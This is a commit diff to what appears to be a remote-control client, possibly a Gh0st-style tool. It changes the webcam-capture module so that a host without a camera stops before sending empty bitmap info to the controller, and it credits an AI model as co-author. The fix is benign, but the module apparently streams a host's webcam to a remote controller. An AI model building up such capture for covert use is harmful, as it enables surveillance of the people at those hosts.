Fix: Skip video capture when camera fails to open

CCaptureVideo::Open now returns S_FALSE when BindVideoFilter cannot bind a capture device, instead of S_OK. CVideoManager records the result in m_bVideoOpened and exits WorkThread before SendBitMapInfor, so a host without a webcam no longer sends a 0x0 BITMAPINFO to the controller.

Co-Authored-By: deepseek-v4-pro

client/CaptureVideo.cpp

@@ -46,13 +46,15 @@ CCaptureVideo::~CCaptureVideo()
 HRESULT CCaptureVideo::Open(int iDeviceID,int iPress)
 {
     Mprintf("CCaptureVideo call Open\n");
-    HRESULT hResult = S_OK;
+    HRESULT hResult = S_FALSE;
     do {
         hResult = InitCaptureGraphBuilder();
         if (FAILED(hResult))
             break;
-        if(!BindVideoFilter(iDeviceID, &m_pBF))
+        if (!BindVideoFilter(iDeviceID, &m_pBF)) {
+            hResult = S_FALSE;
             break;
+        }
 
         hResult = m_pGB->AddFilter(m_pBF, L"Capture Filter");
 

client/VideoManager.cpp

@@ -21,7 +21,7 @@ CVideoManager::CVideoManager(IOCPClient* ClientObject, int n, void* user) : CMan
     m_pVideoCodec = NULL;
     m_fccHandler = 1129730893;
 
-    m_CapVideo.Open(0,0);  // 开启
+    m_bVideoOpened = m_CapVideo.Open(0,0) == S_OK;  // 开启
     lpBuffer = NULL;
 
     m_hWorkThread = __CreateThread(NULL, 0, WorkThread, this, 0, NULL);
@@ -31,6 +31,11 @@ CVideoManager::CVideoManager(IOCPClient* ClientObject, int n, void* user) : CMan
 DWORD CVideoManager::WorkThread(LPVOID lParam)
 {
     CVideoManager *This = (CVideoManager *)lParam;
+    if (!This->m_bVideoOpened) {
+        This->Destroy();
+        return 0x20261013;
+    }
+
     static ULONGLONG	dwLastScreen = GetTickCount64();
 
     if (This->Initialize()) {        //转到Initialize

client/VideoManager.h

@@ -25,6 +25,7 @@ public:
 
     BOOL  m_bIsWorking;
     HANDLE m_hWorkThread;
+    BOOL m_bVideoOpened;
 
     void SendBitMapInfor();
     BOOL SendNextScreen();